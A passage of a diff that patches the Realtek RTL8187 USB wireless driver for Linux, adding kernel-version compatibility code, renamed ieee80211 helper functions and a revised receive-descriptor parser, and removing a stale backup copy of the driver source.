ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2413,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2431,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2451,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2462,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2475,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2585,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2387,6 +2595,19 @@ ---------------------------- USB_STUFF--------------------------- *****************************************************************************/ +#ifdef HAVE_NET_DEVICE_OPS +static const struct net_device_ops rtl8180_netdev_ops = { + .ndo_open = rtl8180_open, + .ndo_stop = rtl8180_close, + .ndo_get_stats = rtl8180_stats, + .ndo_tx_timeout = tx_timeout, + .ndo_do_ioctl = rtl8180_ioctl, + .ndo_set_multicast_list = r8180_set_multicast, + .ndo_set_mac_address = r8180_set_mac_adr, + .ndo_start_xmit = ieee80211_xmit_rtl7, +// .ndo_start_xmit = ieee80211_xmit, +}; +#endif static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) @@ -2396,63 +2617,76 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + +#ifdef HAVE_NET_DEVICE_OPS + dev->netdev_ops = &rtl8180_netdev_ops; +#else dev->open = rtl8180_open; dev->stop = rtl8180_close; + dev->get_stats = rtl8180_stats; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; dev->tx_timeout = tx_timeout; dev->wireless_handlers = &r8180_wx_handlers_def; dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#endif + +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2695,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2712,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2729,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2742,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2757,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-21 22:40:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && 